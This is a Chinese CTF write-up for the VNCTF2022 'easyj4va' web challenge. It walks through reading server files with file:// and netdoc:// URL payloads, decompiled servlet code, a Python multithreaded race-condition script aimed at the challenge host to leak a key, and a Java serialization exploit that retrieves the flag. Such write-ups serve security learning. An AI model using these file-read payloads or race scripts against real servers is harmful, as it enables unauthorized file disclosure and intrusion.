• [VNCTF2022]easyj4va


    看源码

     

     输入 /file?url = 1报错

     用伪协议可以读取到内容

    /file?url=file:///etc/passwd

     然后就是查看java字节码文件的目录

    1. file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF
    2. 这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
    3. file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF

     以下为读文件的payload

    1. file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
    2. controller
    3. entity
    4. User.class
    5. servlet
    6. FileServlet.class
    7. HelloWorldServlet.class
    8. util
    9. Secr3t.class
    10. SerAndDe.class
    11. UrlUtil.class
    1. file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
    2. file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class

    读到的文件 可以jd-gui 反编译,也可以用网上的在线工具:JAVA反向工程网 (javare.cn)

    也可以用IDeA

    1. HelloWorldServlet.class
    2. package servlet;
    3. import entity.User;
    4. import java.io.IOException;
    5. import java.util.Base64;
    6. import javax.servlet.ServletException;
    7. import javax.servlet.ServletOutputStream;
    8. import javax.servlet.annotation.WebServlet;
    9. import javax.servlet.http.HttpServlet;
    10. import javax.servlet.http.HttpServletRequest;
    11. import javax.servlet.http.HttpServletResponse;
    12. import util.Secr3t;
    13. import util.SerAndDe;
    14. @WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
    15. public class HelloWorldServlet extends HttpServlet {
    16. private volatile String age = "666";
    17. private volatile String height = "180";
    18. private volatile String name = "m4n_q1u_666";
    19. User user;
    20. public void init() throws ServletException {
    21. this.user = new User(this.name, this.age, this.height);
    22. }
    23. /* access modifiers changed from: protected */
    24. public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    25. String reqName = req.getParameter("name");
    26. if (reqName != null) {
    27. this.name = reqName;
    28. }
    29. if (Secr3t.check(this.name)) {
    30. Response(resp, "no vnctf2022!");
    31. } else if (Secr3t.check(this.name)) {
    32. Response(resp, "The Key is " + Secr3t.getKey());
    33. }
    34. }
    35. /* access modifiers changed from: protected */
    36. public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    37. String key = req.getParameter("key");
    38. String text = req.getParameter("base64");
    39. if (!Secr3t.getKey().equals(key) || text == null) {
    40. Response(resp, "KeyError");
    41. return;
    42. }
    43. if (this.user.equals((User) SerAndDe.deserialize(Base64.getDecoder().decode(text)))) {
    44. Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
    45. }
    46. }
    47. private void Response(HttpServletResponse resp, String outStr) throws IOException {
    48. ServletOutputStream out = resp.getOutputStream();
    49. out.write(outStr.getBytes());
    50. out.flush();
    51. out.close();
    52. }
    53. }

     主要看 hello.class 中的doPOst方法:

     这里可以getFlag。但是需要满足Key相同,且另一个是反序列化一个一样的user对象

    1. protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    2. String key = req.getParameter("key");
    3. String text = req.getParameter("base64");
    4. if (Secr3t.getKey().equals(key) && text != null) {
    5. Decoder decoder = Base64.getDecoder();
    6. byte[] textByte = decoder.decode(text);
    7. User u = (User)SerAndDe.deserialize(textByte);
    8. if (this.user.equals(u)) {
    9. this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
    10. }
    11. } else {
    12. this.Response(resp, "KeyError");
    13. }
    14. }

     先获取KEY,调用的是Secr3t类。

    先来看看

    1. //
    2. // Source code recreated from a .class file by IntelliJ IDEA
    3. // (powered by FernFlower decompiler)
    4. //
    5. package util;
    6. import java.io.BufferedReader;
    7. import java.io.IOException;
    8. import java.io.InputStream;
    9. import java.io.InputStreamReader;
    10. import org.apache.commons.lang3.RandomStringUtils;
    11. public class Secr3t {
    12. private static final String Key = RandomStringUtils.randomAlphanumeric(32);
    13. private static StringBuffer Flag;
    14. private Secr3t() {
    15. }
    16. public static String getKey() {
    17. return Key;
    18. }
    19. public static StringBuffer getFlag() {
    20. Flag = new StringBuffer();
    21. InputStream in = null;
    22. try {
    23. in = Runtime.getRuntime().exec("/readflag").getInputStream();
    24. } catch (IOException var12) {
    25. var12.printStackTrace();
    26. }
    27. BufferedReader read = new BufferedReader(new InputStreamReader(in));
    28. try {
    29. String line = null;
    30. while((line = read.readLine()) != null) {
    31. Flag.append(line + "\n");
    32. }
    33. } catch (IOException var13) {
    34. var13.printStackTrace();
    35. } finally {
    36. try {
    37. in.close();
    38. read.close();
    39. } catch (IOException var11) {
    40. var11.printStackTrace();
    41. System.out.println("Secr3t : io exception!");
    42. }
    43. }
    44. return Flag;
    45. }
    46. public static boolean check(String checkStr) {
    47. return "vnctf2022".equals(checkStr);
    48. }
    49. }

     这里 第二个 if 需要name 不等于 "vnctf2022", 而第三个if 又需要 this.name = "vnctf2022".

    矛盾了

     这里涉及一个知识点:Servlet的线程安全问题 | Y4tacker's Blog

    总结一下

    然后回到doGet这里,我们要获取key,就要绕过第一个if,即this.name先不为vnctf2022,然后再下一个if下又为vnctf2022,这里就接触到一个线程安全的漏洞,就是servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象

    而这个this.name 刚好判断的是实例化对象的属性,只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022,然后当进入第二个线程的时候,在操作它变成vnctf2022,那不就进入了第二个if条件内吗。

    脚本:

    1. import time
    2. import requests
    3. from threading import Thread
    4. url = 'http://01b0fd97-c90e-46e3-8809-b624bb4cfa1d.node4.buuoj.cn:81/evi1'
    5. payload1 = "?name=vnctf2022"
    6. payload2 = "?name=snowy"
    7. ses = requests.session()
    8. def get(session, payload):
    9. while True:
    10. res = session.get(url=url+payload)
    11. print(url+payload)
    12. print(res.text)
    13. if "key" in res.text:
    14. print(res.text)
    15. time.sleep(0.1)
    16. if __name__ == '__main__':
    17. for i in range(2):
    18. Thread(target=get, args=(ses, payload1,)).start()
    19. for j in range(2):
    20. Thread(target=get, args=(ses, payload2,)).start()

    The Key is 3wL5Ajzw9ew6WU9AfhIB58GzH4coiCl5

    接着就是反序列化的步骤了

    继续看到 doPOst方法

    看到第一个if

    他将text参数进行了base64解码 并且转为了字节流的形式,然后传入SerAndDe.deserialize(),先不去看源码,应该就是一个进行反序列化的操作, 先试着序列化反序列化。用题目自身的代码去执行。

    先进行序列化 再进行base64

    1. import entity.User;
    2. import java.util.Base64;
    3. import util.SerAndDe;
    4. public class testSerializable
    5. {
    6. public static void main(String[] args){
    7. User user = new User("snowy","18","180");
    8. Base64.Encoder encoder = Base64.getEncoder();
    9. byte[] textByte = SerAndDe.serialize(user);
    10. String text = encoder.encodeToString(textByte);
    11. System.out.println(text);
    12. }
    13. }

    把结果传入url

     发现打不通, 要注意的是 这里的User.java 中 height 属性是由 transient修饰的,所以再生成byte的时候需要重写下 writeObject类 否则会将自己的User对象 height为空。

    private transient String height;
    

    User.java最后加上

    1. private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
    2. s.defaultWriteObject();
    3. //强制序列化name
    4. s.writeObject(this.height);
    5. }

    参考文献:java-Transient关键字、Volatile关键字介绍和序列化、反序列化机制、单例类序列化_龙吟在天的博客-CSDN博客_volatile 序列化

     exp:

    1. import entity.User;
    2. import java.io.ByteArrayOutputStream;
    3. import java.io.IOException;
    4. import java.io.ObjectOutputStream;
    5. import java.util.Base64;
    6. public class Exp {
    7. public static void main(String[] args) throws IOException {
    8. User user = new User("m4n_q1u_666","666","180");
    9. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    10. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    11. objectOutputStream.writeObject(user);
    12. byte[] bytes = byteArrayOutputStream.toByteArray();
    13. Base64.Encoder encoder = Base64.getEncoder();
    14. String s = encoder.encodeToString(bytes);
    15. System.out.println(s);
    16. }
    17. }

    最后传入 key 和base64的结果即可

     因为环境消失了  更换了key

  • 相关阅读:
    [杂记]关于C++中类继承的一些理解
    用手机浏览器浏览不良网站,清理数据还有用吗?
    【腾讯云原生降本增效大讲堂】通过云原生管理Kubernetes GPU资源
    为游戏开发行业释放 Git
    零基础学Linux内核之设备驱动篇(7)_字符设备_实验篇2
    数据安全至上:使用API接口定期备份设备的维修保养记录
    AtCoder Beginner Contest 264 部分题解
    第六章、继承与面向对象设计
    webpack项目篇(六十六):react 全家桶 和 webpack 开发 h5 商城项目的整体思路
    Java 注解
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/128052750